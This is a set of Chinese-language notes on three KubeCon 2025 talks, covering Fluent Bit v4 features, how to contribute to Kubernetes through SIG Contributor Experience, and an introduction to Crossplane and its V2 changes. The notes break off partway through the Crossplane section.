KubeCon-2025-笔记-全-

KubeCon 2025 笔记(全)

001:Fluent Bit v4 - 十年的创新与未来展望 🚀

在本教程中,我们将学习 Fluent Bit 的发展历程、核心设计理念,并重点介绍其最新版本 v4.0 带来的新特性。我们将了解 Fluent Bit 如何帮助我们在日益复杂的可观测性数据海洋中,以低成本、高效率的方式收集、处理和路由日志、指标与追踪数据。


引言与背景

感谢参加本次分享。我对于准时开始比较在意。

对于那些不得不等待的人,希望你们有机会拍下 Eduardo(项目负责人)大约 20 天后将要进行的网络研讨会的照片。那个研讨会内容会更丰富,比本次分享更详尽。

这些分享可以讨论历史,比如我们从哪里来,现在在哪里,以及未来去向何方。目的是为那些还不了解 Fluent Bit 或我们现状的人提供一个完整清晰的图景。

对于那些已经了解并期待 v4.0 版本的人,我们已于周一发布该版本。我将介绍一些我们刚刚引入的新功能,以及我们希望在近期和长期未来引入的功能。


可观测性领域的挑战

你可能知道,遥测领域在过去十年甚至更长时间里一直在演变。趋势是数据量呈指数级增长,我们生成的数据越来越多,类型也越来越丰富。仅仅十年前,我们基本上只处理日志,而如今我们从日志到追踪再到性能剖析数据,无所不包。

因此,情况只会变得更加复杂和繁忙。这意味着我们需要格外关注,以便能够利用这些数据,而不是仅仅花钱存储我们不关心的东西。

我想我们都能想象出我们脑海中的图景,就像那个关于真空室里备用椰子牛的玩笑。当我们想到日志、指标和追踪时,我们想象的是我们将分析数据、从中提取价值并感到满意的画面。然而,现实并非如此。

现实情况通常非常混乱,并且每天都在变得更加混乱。我们收到日志、指标、追踪。每个都有不同的标准,有些有自己的标准,有些可能来自旧时代。我们需要理解这些数据,以便提取价值,否则这一切就毫无意义。

我想,当面对这种情况时,感到不知所措的不止我一个人。这就像,我该拿这些数据怎么办?所以我们往往会选择视而不见,任其堆积。

问题在于,我们仍然在为此付费。解决这个问题的一部分方案实际上是理解这些信息,或者以我们想要的方式处理它。我们希望以有意义的方式消费信息,处理它以便我们不把所有东西都发送到所有地方,并且我们希望以更低的成本完成,因为这不是我们想要支付的成本。这就是 Fluent Bit 重要的原因,也是我们正在努力做的事情。我们试图构建一个系统,在处理数据时不会产生大量成本。


Fluent Bit 的起源与设计哲学

如前所述,我们来自一个非常分散的环境。回想过去,当我们只有少数几个收集器,只讨论日志时,所有或大部分数据都是结构化的。因此,要找到一个能按你所需的方式工作的工具相当困难。这就是 Fluent Bit 的由来。

Fluent Bit 的理念是拥有一个与供应商无关的系统,可以获取你想要的任何数据,并将其发送到你想要的任何地方。对我们来说,拥有非常广泛的输入和输出集成至关重要,这样你就可以以现有的格式获取数据,并将其以你想要的格式发送到你想利用它的地方。

我认为我们已经实现了这个目标。我们拥有非常广泛的集成集,支持从日志、指标到追踪的所有内容。我们可以从本地系统获取它们,也可以从遗留系统获取,你可以将你的系统日志接入,可以从 OpenTelemetry 端点获取,可以从 Prometheus 获取,选择非常多。

正如我提到的,Fluent Bit 诞生于需求。它不仅仅是试图以我们认为正确的方式重新发明轮子。十年前,行业需要一种轻量级、没有 CPU 和内存开销的工具,尤其是在物联网领域,那时我们并非每个设备都有树莓派,我们没有千兆字节的内存,可能只有几千字节,也没有八核处理器,可能只有几兆赫兹。这就是 Fluent Bit 早期的主要驱动力之一。

显然,物联网热潮并没有持续太久。但我们为 Kubernetes 社区找到了新的家园。在 Kubernetes 中,即使你可能有一些备用资源,你仍然希望使用不会增加账单的工具。你想要快速、内存占用低、能以最低成本完成你所需工作的工具。这就是我们试图通过 Fluent Bit 实现的目标,并且我们试图以一种不将你锁定在任何供应商或平台上的方式来实现。

作为维护者,对我来说,主要目标之一是服务于社区。我们希望你能在任何生态系统中使用 Fluent Bit。我们希望你能与任何其他现有项目集成。

我认为每个项目都有其价值和位置,我喜欢与它们协作。我认为这不是关于取代它们,而是关于集成。我认为这关乎用户,用户必须选择什么对他们更好。

Fluent Bit 是 Fluent 家族的一部分。Fluent Bit 和 Fluentd 来自同一个地方,属于同一个保护伞下,它们都是 CNCF 的毕业项目。我稍后会再谈这一点,但重要的是要知道我们正在努力改进这种状态,以便为用户提供清晰的信息。


Fluent Bit 的核心能力

回到 Fluent Bit。我们拥有非常广泛的集成安排。你可以使用系统日志,可以处理本地文件,可以处理 Kubernetes。例如,我认为 Kubernetes 社区的一个主要用例是将 Fluent Bit 设置为 DaemonSet 或 Sidecar,从节点获取日志并将其塑形到某个地方。但我们还有 Kubernetes 事件插件,可以让你更深入地了解你的 Kubernetes 集群。

我们还有 Kubernetes 过滤器,允许你用关于集群、服务、命名空间等信息来丰富你捕获的日志。

在输出端,你当然可以灵活地将数据存储到 Splunk、Elasticsearch、PostgreSQL、Datadog 等任何地方,可以发送到 Chosphere(现在赞助 Fluent Bit 的公司),或者发送到任何其他端点,比如 AWS S3 驱动等。我相信这里能满足各种需求。如果没有,我希望听到你的反馈,因为我们认为收集社区需求是最重要的。

我认为 Fluent Bit 可以以不同的方式或多种方式运行。在这个例子中,Fluent Bit 运行在裸机、容器或虚拟机上。我们有操作系统的软件包,有容器镜像,甚至有一个 FreeBSD 移植版(这不是 Linux,但很有趣),我们也有 Windows 安装程序。

Fluent Bit 拥有一个非常有趣且灵活的路由系统。我认为这是 Fluent Bit 的强项之一。你可以以非常动态的方式决定数据的去向,甚至可以基于数据的来源在运行时决定。

在这个例子中,我们有几个以相当简单方式设置的 Fluent Bit 实例,但还有一个设置得更复杂一些。同样,我们可以将 Fluent Bit 作为聚合器运行。你不需要在本地收集日志、指标或追踪,也可以从其他系统接收它们。你可以从其他 Fluent Bit 实例接收,也可以从任何 Fluent 兼容的生产者接收,甚至可以从 Prometheus 端点接收。也许你有一个需要抓取的 Prometheus 端点的应用程序,或者一个产生 OpenTelemetry 追踪的应用程序,甚至是一个你无法替换的遗留系统。你可以使用 Fluent Bit 将所有信息集中到一个中心位置,在那里你可以以与供应商无关的方式进行处理。一旦数据进入 Fluent Bit,无论指标来自 Prometheus、OpenTelemetry,还是你使用日志转指标插件自己转换的指标,它们都是一样的。你可以对所有指标进行相同的处理。

日志转指标插件是一个你可以用来将以文本格式呈现的指标转换为适当指标上下文的插件,然后你可以对其进行操作并发送到正确的地方。这很有趣。我知道你们中有多少人熟悉像 iostat 这样的工具,我认为这是此插件的一个用例。

正如我所说,互操作性是我们的主要关注点之一。


Fluent Bit v4.0 新特性详解

现在,我将详细介绍 Fluent Bit v4.0 的新特性,以便你在使用的平台更新到 v4 或你自己更新到 v4 后知道要关注什么。

我们在追踪处理领域做了一些改进。我们现在有了追踪采样功能。这是我们创建的一个新处理器,允许你对收到的追踪进行降采样。

这个新处理器有两种操作模式。一种称为头部采样,这是概率性的。这意味着你定义的是追踪被存储或丢弃的概率。在我这里的例子中,我们设置了 40% 的概率,你可以看到很多跨度被丢弃了,只有这些最终到达了终点。

我认为这很有趣,并且在与追踪采样处理器的另一种操作模式结合使用时可能非常有用。

另一种操作模式是尾部追踪采样。这意味着你设置一个时间窗口。处理器会缓冲摄入的跨度,直到该窗口过期。这样做的目的是确保在决定是否保留追踪之前,你拥有完整的追踪视图。

假设你有一个网络商店,你想在交易失败时保留追踪。你可以使用 OpenTelemetry 追踪中的状态字段或追踪中的某些属性来实现这一点。在那个用例中,也许你最感兴趣的是存储那些在调试问题时能提供重要信息的追踪,因为你希望尽快获得可操作的信息来解决问题,因为时间就是金钱。

但你有一小部分与失败相关的追踪,还有一大部分与成功相关的追踪。在那个场景中,我会结合使用尾部追踪采样机制来确保我们保留 100% 的失败追踪,同时使用头部采样处理器来确保我们保留一定比例的成功追踪,因为你仍然需要了解情况,但你不想存储所有成功追踪,因为存储它们需要成本。

在 v4 中,我们还为处理器添加了一项新功能,称为条件处理。这允许我们根据一组约束条件来决定是否要对一条信息执行某个处理器操作。

这很有趣,因为在原始的管道模型中,你有输入、过滤阶段和输出。当然,你可以使用路由系统为每个过滤器选择要处理的内容。但处理栈旨在通过将过滤器和处理器直接附加到输入来允许你扩展到更高的程度。在 v4 之前,你无法确定处理栈中的某个元素是否对某条信息执行了操作,这在试图利用处理栈的优势时是一个限制因素。

然而,有了条件处理栈这个新功能,你可以拥有与过滤器相同的灵活性。好处是,关于一条数据是否应该被处理的决策,不仅仅基于路由信息中的标签,而是基于信息本身的上下文。你根据数据本身来选择是否要对其执行操作。

我们做的另一个改进是为 TLS 层添加了一些选项,允许你设置要与 Fluent Bit 交互的最小和最大 TLS 版本。在某些特定部署中,你可能希望确保不与旧版本交互,以防止降级攻击等,或者你可能公司有相关要求。密码套件也是如此。你可能希望确保不允许对端强制你协商可能具有漏洞或以任何方式被破解的较弱密码。这就是这个功能的目的。

我们还引入了一个系统,用于从文件系统中摄取文件内容到配置中所谓的“环境变量”中。这将允许你不必在配置或 ConfigMap 中硬编码一些秘密,而是能够将它们部署在文件中。我认为对于 Lua 脚本用例来说,这很有趣,因为你也应该能够使用此功能从文件系统加载你的 Lua 脚本,这应该会使你的 ConfigMap 更加简洁。

我们还引入了 Zig 语言集成。我不知道你们中有多少人熟悉 Zig 语言。它是像 Rust 那样的新语言之一。但 Rust 更侧重于安全方面,Zig 更像是一种低级系统语言,并且侧重于性能以及安全,但更侧重于性能本身。目前我们只支持用 Zig 编写输出插件,但将其扩展到输入插件、处理器、过滤器以及自定义插件是我们路线图的一部分。


未来展望

关于现在和未来,我们打算做的是扩展我们的集成。我们希望为所有当前支持的语言提供适当的、符合语言习惯的原生集成,包括 Rust、Zig 和 Go。我们希望它们是功能齐全的,希望你能以符合语言习惯的方式使用这些语言编写插件。

我们希望你能编写输入、处理器、过滤器、输出和自定义插件。我想特别说明一下,因为你们中有些人可能不知道什么是自定义插件。这些插件并非专门用于在管道中操作数据,而是用于执行其他任务,如文件管理或 TLS 证书管理。

我想告诉你们一些我认为非常酷的事情,并且我非常希望社区中有人能参与进来并创建这样的插件。例如,改进 TLS 证书的处理方式。我相信你们知道 CNCF 中还有一个名为 cert-manager 的项目。如果我没记错的话,当前的一个趋势是使用更短生命周期的证书。因此,我很希望看到 Fluent Bit 中有一个功能,可以将其与 cert-manager 集成,以便在每次部署时获取短期证书,而不是必须将证书作为 ConfigMap 的一部分进行部署。

我们还想引入在单个 Fluent Bit 安装中运行并行管道的可能性。

但我想,如果你参加 Roger 在 24 号举办的网络研讨会,你会对未来的图景有比我这里描绘的更清晰的了解。


问答环节

问: 你谈到了存在大量噪音数据,不一定希望全部发送和保留。你认为 Fluent Bit 在哪些方面可以帮助解决这个问题?或者你认为它未来会在这方面提供帮助吗?

答: 一种方式是通过新的追踪处理器来丢弃你不需要的数据,即条件采样。对于日志,有许多过滤器。你可以修改日志的部分内容,可以确保不发送任何个人身份信息。实际上,我会将条件处理系统与内容修改处理器结合使用来实现这一点。这只是众多方式之一。你还可以利用系统中的指标来帮助你定义规则。例如,我可以在条件中使用变量吗?比如计数到 100 然后停止发送某些内容,类似阈值这样的?我认为可以,但我想了解更多关于这个用例的信息。也许你可以加入 Fluent Slack 服务器,我们可以就此进行讨论。如果目前无法实现,我希望知道,以便我们能够实现它。

问: 随着 Fluent Bit v4 的新功能,这是否让 Fluentd 显得有些多余?

答: 我认为这不是关于 v4 的新功能。我总是以诚实的免责声明作为这个问题的回答开头:我不喜欢说其他项目的坏话。我可能错了,但我认为 Fluentd 更多处于维护状态,而不是真正在创新。我不认为 Fluentd 能处理指标或追踪,我也不认为他们有计划采用 OpenTelemetry 模型或继续在那个领域创新。因此,在我看来,这是推动 Fluentd 被 Fluent Bit 取代的因素。

问: 如果我理解错了请纠正,但考虑到日志处理的新功能,你会说现在不鼓励使用自定义 Lua 脚本了吗?因为有些操作你现在已经可以使用这些新功能完成了,对吗?

答: 我认为凡事都有其适用的场合和时间。Lua 脚本是你可以以最小开销添加到配置中的东西,不会花费你太长时间,你只需要编写 Lua 脚本并将其放入配置中。如果你想编写自定义插件,无论是处理器、过滤器、输入还是输出,你都必须用适当的语言编写并构建它。我不是说这是一个非常漫长的项目,但它会比仅仅在配置文件中编写 Lua 脚本花费更长的时间。在我看来,那些 Lua 脚本并不是真正的问题,因为它们是即时编译的,所以相当快。如果是我来做,我可能会从 Lua 脚本开始,然后花时间编写一个合适的插件来实现,因为当然,插件会更快。我想我之前没有特别提到,但目前我们有一些集成:你可以用 C 编写插件(可能没人想用),可以用 Go 编写,可以用任何能编译成 WebAssembly 的语言编写(比如 Rust),也可以用 Zig 编写。当然,Lua 脚本也能完成工作。我认为如果你能使用常规的东西、构建模块、条件处理,那会快得多。


总结

在本节课中,我们一起学习了 Fluent Bit 的发展背景、其应对现代可观测性数据挑战的设计哲学,以及 v4.0 版本带来的重要新特性,包括追踪采样、条件处理、TLS 增强和 Zig 语言集成等。Fluent Bit 作为一个轻量级、高性能、供应商无关的数据收集与处理引擎,旨在帮助用户以更低的成本从混乱的数据中提取价值。其强大的路由能力、广泛的集成生态以及对社区需求的关注,使其成为云原生环境中处理日志、指标和追踪数据的强大工具。

002:为 Kubernetes 做出贡献

在本节课中,我们将学习如何为 Kubernetes 项目做出贡献。我们将了解 Kubernetes 庞大的贡献者社区是如何组织的,以及贡献者体验特别兴趣小组(SIG Contributor Experience)如何通过一系列项目和流程来帮助新贡献者融入社区、降低贡献门槛。我们还将探讨社区当前面临的挑战和未来的计划。

社区概览与结构

上一节我们介绍了课程目标,本节中我们来看看 Kubernetes 贡献者社区的规模和组织结构。

Kubernetes 拥有一个庞大且活跃的贡献者社区。截至上周,项目在过去的11年中累计拥有约 95,000 名贡献者,贡献了超过 450 万次提交、代码审查等各类活动。这些贡献由项目历史上约 8,000 名审查者支持。这些数字仍在快速增长,预计到明年年底贡献者总数可能达到 10 万。

为了管理如此庞大的项目,社区建立了清晰的结构。社区主要包含三种类型的组:

  • 特别兴趣小组:用深蓝色表示,负责项目层面的职责,横向维护项目的不同方面。SIG Contributor Experience 就是其中之一。
  • 工作组:用浅蓝色表示,是短期存在的团队,有非常具体的目标和退出标准。一旦达成目标,其工作会并入一个或多个 SIG 的子项目中。
  • 委员会:大部分通过选举产生。例如,指导委员会每年由活跃贡献者选举产生,负责代表社区并委任行为准则委员会成员。

在这些 SIG 和工作组中,我们大致将其分为三类:

  • 项目级 SIG:负责维护项目的不同方面,贯穿整个项目。例如 SIG Contributor Experience、SIG Release、SIG Testing 和 SIG K8s-infra。
  • 横向 SIG:横向贯穿整个 Kubernetes 项目的技术领域。
  • 纵向 SIG:专注于项目的特定功能领域或紧密耦合的垂直领域。

社区的结构会根据需求进行增删。例如,服务设备管理工作组就是在去年相关需求出现时新成立的。

贡献者成长路径

了解了社区结构后,你可能会想知道作为新贡献者如何一步步成长为维护者。

贡献者的成长是一个阶梯式的过程:

  1. 非成员贡献者:你可以从为项目的任何领域做贡献开始,此时无需是 GitHub 组织的成员。
  2. 成员贡献者:在做出一些实质性贡献后,可以请与你合作过的审查者或贡献者作为担保人,推荐你成为组织成员。
  3. 审查者:随着你在项目特定领域持续工作、审查更多代码,你可以成长为审查者。
  4. 批准者:在审查者基础上,承担更高级别的代码批准职责。
  5. 子项目所有者:负责特定子项目的方向和健康度。
  6. 子项目负责人:领导子项目团队。
  7. SIG 主席/负责人或工作组负责人:承担 SIG 或工作组的管理职责。

这个过程需要时间,并且主要基于贡献质量、代码审查质量等定性因素,而不仅仅是贡献数量。

SIG Contributor Experience 的职责

在介绍了贡献者成长路径后,我们来看看 SIG Contributor Experience 在这个生态系统中扮演的角色。

SIG Contributor Experience 的核心职责是改善所有项目贡献者的体验。我们通过创建和维护促进社区及成员发展的计划和流程来实现这一目标,旨在减少贡献过程中的任何摩擦。我们也会淘汰那些已完成使命或不再有效的旧计划。同时,当社区出现新的需求或倡议以改善贡献者健康度时,我们也会采纳并实施。

我们的工作从技术上划分为以下几个子项目:

  • 社区子项目:负责 kubernetes/community 代码库及相关的文档和群组。
  • 贡献者沟通子项目:负责在 Kubernetes.io 博客和 Kubernetes.dev 博客上发布所有公告、提醒和内容。
  • 贡献者文档子项目:管理贡献者指南和面向 Kubernetes 贡献者的 kubernetes.dev 网站。
  • 社区管理子项目:维护不同沟通平台(如 Discuss、Slack、GitHub)的政策。
  • DevStats 子项目:维护 Kubernetes 项目的统计数据,例如按地域或公司划分的贡献情况。
  • 选举子项目:拥有并维护一个名为 election 的开源工具,用于社区选举。
  • 活动子项目:负责组织 Kubernetes 贡献者峰会,并协助 CNCF 运行维护者峰会。
  • GitHub 管理子项目:负责组织成员流程和整个代码库管理配置。
  • 导师子项目:运行诸如 LFX mentorship 等项目,并在社区内组织导师计划,帮助新贡献者成长为审查者或维护者。
  • Slack 信息子项目:维护加入 Kubernetes Slack 的邀请机器人及相关工具。

从贡献者峰会到维护者峰会

上一节我们介绍了 SIG Contributor Experience 的各个子项目,本节中我们来看看社区活动的发展。

在过去的九年里,我们一直举办 Kubernetes 贡献者峰会。它通常在 KubeCon 前一天举行,让所有 Kubernetes 项目的贡献者齐聚一堂,进行非正式会议、社交和讨论。然而,这个活动只专注于 Kubernetes。

考虑到 CNCF 内有超过 200 个项目,我们意识到需要一个更广泛的平台。因此,我们发起了 维护者峰会。这个峰会汇集了来自所有 CNCF 项目的维护者,包括沙盒、孵化及毕业项目。我们还邀请了 CNCF 技术监督委员会和技术咨询小组的成员参与,旨在促进整个项目生态系统的协作,让新项目能从更成熟的项目(如 Kubernetes)中学习经验。

现在,维护者峰会得到了 CNCF 活动团队在后勤方面的大力支持,同时我们仍有来自社区的志愿者负责项目委员会和沟通工作。峰会还引入了正式的 CFP 流程和赞助机会,以便让更多维护者能够参与。

新贡献者引导计划

在介绍了面向所有项目维护者的峰会之后,我们回到如何帮助个体新贡献者融入 Kubernetes 社区。

对于新人来说,理解庞大的社区结构、SIG 和委员会是非常困难的。经常出现的情况是,新人在 GitHub 上找到一个标记为 good first issue 的问题,但实际上它并不适合新手。

为了解决这个问题,我们启动了 新贡献者引导计划。该计划的目标是带领想要贡献的人,向他们介绍社区结构和工作流程。我们每月在第三个星期二举办两次会议(分别适应美洲和亚太/欧洲时区),每次会议约 1.5 小时。会议包括 40 分钟的内容介绍和 20 分钟的问答环节。

会议内容涵盖:

  • Kubernetes 项目欢迎介绍
  • 无线 Kubernetes 社区结构
  • 贡献工作流程指导
  • 常见的贡献者陷阱(例如 good first issue 可能并不简单)

我们跟踪会议的参与数据,虽然初期增长后略有下降(主要由于沟通宣传不足),但我们持续有新人加入。我们承诺会改进沟通和内容,以更好地帮助新人。

沟通渠道与统计数据

在介绍了帮助新人的计划后,我们来看看 SIG Contributor Experience 如何与社区内外进行沟通。

SIG Contributor Experience 与 SIG Docs 合作,负责维护两个主要的博客渠道:

  • Kubernetes.dev 博客:在 2024 年发布了 14 篇博文,此外还有 SIG Spotlight 系列博文,用于介绍其他 SIG。
  • Kubernetes.io 博客:在 2024 年协助发布了 45 篇博文。

在社交媒体方面,我们运营着面向最终用户和贡献者的不同渠道:

面向最终用户的渠道:

  • LinkedIn (Kubernetes): 自 SIG Contributor Experience 的贡献者沟通团队接管以来,粉丝增长约 147%,发布帖子增长约 985%。
  • X (Kubernetesio): 拥有相应的统计数据。
  • Bluesky (Kubernetes): 自 2024 年 11 月 4 日以来,已拥有 6000 多名关注者。

面向贡献者的渠道:

  • X (k8scontributors): 由于社区逐渐转向 Bluesky,该账号活跃度下降。
  • Bluesky (Kubernetes): 自 2024 年 11 月 4 日以来,拥有 300 多名关注者。
  • Mastodon: 我们也在此平台设有账号。

我们要感谢所有出色的贡献者,特别是近期在维护者峰会、博客维护、基础设施等方面提供帮助的各位。

需要帮助的领域与如何参与

在展示了我们的工作成果后,我们也要坦诚地指出当前需要帮助的领域。

社区的健康运转离不开更多志愿者的参与。以下是几个急需帮助的领域:

  1. Slack 自动化:我们的大部分社区管理工作希望实现自动化,但当前缺乏维护者。如果你对此感兴趣,可以联系 Slack-infra 子项目的管理员。
  2. 选举工具 (election):这是一个用 Python Flask 编写的内部工具,每年用于两次选举。我们需要帮助进行代码加固、测试重写或扩展。如果你熟悉 Python/Flask 或想学习,这是一个很好的机会。可以联系 SIG Contributor Experience 或 Slack 上的 #elections 频道。
  3. 贡献者网站:我们依赖 Hugo 静态站点生成器和 Docsy 主题来运行博客,但目前主要依靠一位维护者。我们需要更多帮助来维护贡献者网站的基础设施。可以关注相关代码库并联系我们。
  4. 导师子项目:我们需要更多志愿者来帮助构建结构和运营导师计划。如果你擅长引导或管理任务,这里需要你的帮助。

除了这些特定领域,社区中总有许多临时性的工作需要完成。最好的参与方式是加入我们的双周会议(分别在 APAC/EMEA 和 US 友好时区举行)。在会议上,我们会逐一讨论各个子项目的进展。

资源与总结

在本节课的最后,我们为你汇总了所有有用的资源,并做总结。

以下是一些关键资源:

  • K8s 社区书签:无论是新人还是老手,这都是了解社区动态、SIG 和工作组的绝佳资源。
  • Slack (slack.k8s.io):使用此链接加入 Kubernetes Slack 社区。#sig-contributor-experience 是主要的讨论频道。
  • 邮件列表:通过 Kubernetes SIG Contributor Experience 邮件列表可以获取会议邀请和信息。

我们承认,开始为 Kubernetes 做贡献可能并不容易,甚至令人沮丧,我们大多数人都有过类似经历。关键是坚持下去,观察他人,跟随他们的脚步或从中学习开创自己的道路。如果需要帮助,SIG Contributor Experience 就是寻求帮助的地方。如果我们自己无法直接解决,我们会确保为你找到合适的资源或引荐给正确的人。新贡献者引导计划和我们的双周会议也是为此而设。

本节课中我们一起学习了 Kubernetes 贡献者社区的规模与结构、贡献者的成长路径,以及 SIG Contributor Experience 在改善贡献体验方面的核心工作。我们了解了从贡献者峰会到维护者峰会的发展,认识了帮助新人的引导计划,也看到了社区丰富的沟通渠道。最后,我们明确了社区需要帮助的领域,并为你提供了参与进来的具体路径。感谢你的参与,我们期待在社区中与你相遇、交流或合作!

003:云原生控制平面框架介绍与深入探讨

在本节课中,我们将要学习 Crossplane 的核心概念、工作原理以及其最新版本 V2 的重大更新。我们将从基础概念开始,逐步深入到如何使用 Crossplane 构建平台,并了解 V2 版本如何使其变得更简单、更强大。

什么是 Crossplane?

Crossplane 是一个云原生控制平面框架。你可以使用它来配置和管理所有资源。你可以将这些资源组合成更高级别的抽象,并将这些抽象提供给开发者,使他们能够自助服务,获取所需的资源。Kubernetes 是容器的优秀控制平面,而 Crossplane 则扩展了 Kubernetes,教会它如何管理其他一切。

控制平面并非新概念。云提供商多年来一直在其后端运行控制平面。现在,Crossplane 为你提供了构建自己的控制平面和平台所需的框架和工具。

核心构建模块:托管资源

Crossplane 的基本构建模块被称为“托管资源”。

想象一下所有不同的云提供商、SaaS 产品、本地软件等,有成千上万种不同的资源和服务。Crossplane 的目标是将这些资源引入 Kubernetes 控制平面,并允许你从控制平面进行配置和管理。

在实践中,我们来看一个简单的例子:想象一个 S3 存储桶。Crossplane 在 Kubernetes 控制平面中将其表示为一个 API 对象。就像任何其他 API 对象一样,它有一个 spec,你可以在其中以声明式配置指定这个存储桶的期望状态。然后,Crossplane 会获取这个期望状态,并将其应用到现实世界,最终创建一个 S3 存储桶。

就像任何行为良好的 Kubernetes API 对象一样,它们也有一个 status,用于提供外部真实资源的观测状态、条件以及描述生命周期历史的事件。

Crossplane 中有成千上万个这样的资源,它们都是行为良好的 Kubernetes API 对象。

工作原理

其工作原理可能如你所料。想象一下,你作为用户,将这个存储桶清单应用到控制平面的 API 服务器(可能通过 GitOps 等方式)。Crossplane 中有一组控制器在监视并主动协调这些资源与真实世界。例如,S3 控制器会从 API 服务器接收到事件,看到有人期望一个存储桶的状态,然后使用 Amazon API 与 AWS 通信,在现实世界中配置该存储桶,使实际状态与期望状态匹配。

从构建模块到平台:组合

上一节我们介绍了 Crossplane 的基本构建模块——托管资源。现在,让我们看看如何将它们构建成一个实际的平台。

“组合”的概念在 Crossplane 中至关重要。它允许你获取这些细粒度的资源,将它们组装、组合成更高级别的抽象。然后,这些抽象就是你提供给开发者的东西。

例如,如果你想将 GKE 集群、节点池、网络子网等组合在一起,然后将其作为一个简单的集群抽象提供给开发者。你给他们一些有限的配置选项,他们就能够根据平台团队的“黄金路径”配置工作负载集群,而所有底层基础设施的复杂性都被隐藏起来。这为开发者提供了更轻松的体验,使他们能够快速投入生产。

所有这些都基于 Kubernetes API,因此任何了解 Kubernetes 的工具都可以与 Crossplane 兼容。

平台 API 与组合逻辑

让我们通过一个图表来可视化这个过程。请注意,这部分在 V2 版本中会有所变化,稍后 Nick 会详细介绍。

在图表中间,作为平台工程师,你需要为开发者定义你的平台 API。你需要指定模式和你希望提供给他们的配置选项——即你向开发者暴露的抽象。在底层,你必须定义一个“组合”——即逻辑:你要组合哪些资源以及如何组合它们。

让我们看一个例子:假设你作为平台工程师,想向开发者暴露一个数据库平台 API。你需要定义该 API 的模式(即你想给开发者哪些配置选项)。然后,你的开发者来了,她可能只想创建一个“小型 Postgres”实例。底层的复杂性被抽象并隐藏在你的平台中。

在运行时,对于这个“小型 Postgres”,你可能有一个 GCP 组合、一个阿里云组合、一个 Azure 组合,或者根据成本(便宜/昂贵)或服务等级(银牌/金牌)定义的不同组合。对于 GCP 组合,它可能对应 CloudSQL、SQL 用户、全局地址连接等资源。

如何定义平台 API 和组合逻辑

让我们更详细地看看如何实现这一点。

要定义平台 API 的形状,我们使用“复合资源定义”。你基本上是在定义自定义 API 组,扩展 Kubernetes,为 Kubernetes 提供一个新的 API。你可以定义 API 组、种类以及模式(即你希望开发者拥有的配置选项)。

然后,你必须编写逻辑:你想组合哪些资源,以及如何组合。在 Crossplane 中,我们通过运行一个函数管道来实现资源的组合,这非常重要。

组合函数

让我们谈谈函数,因为它们至关重要。

在 Crossplane 中,你运行一个由简单函数组成的管道,这就是你组合资源的方式。对于所有这些函数,你基本上可以使用你选择的编程语言。现在支持多种语言。但关键部分是,你只需要专注于为你的平台编写独特的逻辑——你的“黄金路径”、对你重要的配置。让 Crossplane 处理其他所有事情,比如管理生命周期、繁重的工作、垃圾回收等。你只需编写一个简单的函数管道。

当我说“函数”时,你可能会想到需要自己编写代码。但事实并非如此。Crossplane 社区已经构建了一个由可重用函数组成的完整生态系统。关键要点是,所有这些函数基本上都为你提供了在 Crossplane 中表达逻辑和构建平台的各种新体验。这里有一个完整的谱系:无代码、声明式、低代码、全代码……无论你最习惯哪种方式,都可以使用。它们不会强迫你采用某一种特定的平台构建方式。使用你最熟悉的语言,可能是高级配置语言,也可能是低级通用编程语言,这都没关系。使用你想要的,而且你不必只局限于一种语言,管道中的每个函数都可以是你想要的任何语言,所以你可以混合搭配,以你最舒适的方式构建平台。

以下是几个函数示例:

  • 模板函数:可以定义可变数量的访问密钥。
  • Python 函数:如果你喜欢 Python,可以用它来定义 S3 存储桶。
  • KCL 函数:KCL 是一种相对较新的 CNCF 配置语言,可以用它来为可变数量的区域定义 EC2 实例。
  • CUE 函数:可以用它来为给定的 IAM 角色集定义一些策略。
  • Go 函数:可以下降到像 Go 这样的通用编程语言。一旦你开始使用通用编程语言来定义和构建平台,你就可以开始使用该语言的原生工具,如单元测试、测试框架、代码检查、自动完成、语言服务器等,帮助你像软件项目一样定义平台。

选择权在你手中。

Crossplane V1 的最新进展与 V2 的未来

上一节我们介绍了如何使用函数构建平台。现在,我们来看看 Crossplane 项目本身的进展。

Crossplane 的最新发布版本是 1.19(大约在 2025 年 2 月)。我们专注于持续完善 Crossplane,使人们正在采用的关键 API 和功能更加成熟。例如,使用量现已进入 Beta 阶段,声明服务也进入 Beta 阶段。我们还从推广 API 的方式中吸取了教训,现在可以安全地升级和降级 Crossplane。此外,我们还致力于使 Crossplane 在更多场景中更有用,例如支持社区高需求的主机网络场景,以及允许使用 Crossplane CLI 与私有仓库交互。

下一个版本 1.20 计划在 5 月初发布。路线图包括将“变更日志”功能推广到所有提供商(该功能已在运行时中存在了几个版本),这能让你拥有 Crossplane 对所有资源所做操作的审计日志。我们还将继续完善关键 API 和功能,并致力于提升可观测性和指标,以提供更多关于 Crossplane 运行情况的洞察。当然,还有 Crossplane V2 的未来,这将是 Nick 接下来要讲的内容。

Crossplane V2 的重大变化

现在,让我们深入探讨 Crossplane 的未来——V2 版本。本周一,我们发布了 Crossplane V2 的预览版,现在就可以尝试。

我们开发 Crossplane V2 的目标是让它对更多事物更有用,同时更直观、更少让人感到意外。

V2 版本有三个主要变化:

  1. 复合资源现在是命名空间作用域的。
  2. 托管资源现在是命名空间作用域的。
  3. 你可以使用复合资源来组合任何你喜欢的 Kubernetes 资源,而不仅仅是 Crossplane 资源。

过去几年在 KubeCon 上,我经常听到人们说:“我喜欢用 Crossplane 构建基础设施抽象,比如集群抽象、数据库抽象等。但我应该用什么来管理实际使用这些基础设施的应用程序或微服务呢?”这让我思考:为什么不直接使用 Crossplane?或者至少允许人们使用 Crossplane?

因此,Crossplane V2 的一个主题是,它更适合为任何事物(而不仅仅是基础设施)构建 API 抽象,特别是应用程序或微服务。

命名空间作用域的复合资源

在 V2 中,所有复合资源和托管资源都将是命名空间作用域的。在 V1 中,它们都是集群作用域的,这有其历史原因(灵感来自 Kubernetes 的持久卷声明和持久卷)。但在这个现代世界中,我们认为这不再合理,因此我们将其改为命名空间作用域。

这意味着我们移除了 Crossplane 中的一个完整概念:在 V2 中不再有“声明”。“声明”在 V1 中是命名空间作用域的代理,你会在命名空间中创建一个声明,然后 Crossplane 会响应并在集群作用域创建一个与之相同的复合资源。现在不需要这样做了,因为复合资源本身就可以是命名空间作用域的。

另一个小变化是,如果你熟悉 Crossplane,会注意到每个复合资源上都有一些配置 Crossplane 工作方式的字段。例如,“composition reference”告诉 Crossplane 当有人创建此应用时,使用哪个配置来创建资源。以前,所有这些 Crossplane 机制字段都直接放在 spec 下,这容易让用户混淆哪些是 Crossplane 机制(他们可能不需要关心),哪些是真正重要的内容(比如应用要运行的镜像)。因此,我们将所有这些 Crossplane 机制字段移到了 spec.crossplane 下,以便用户更容易区分。

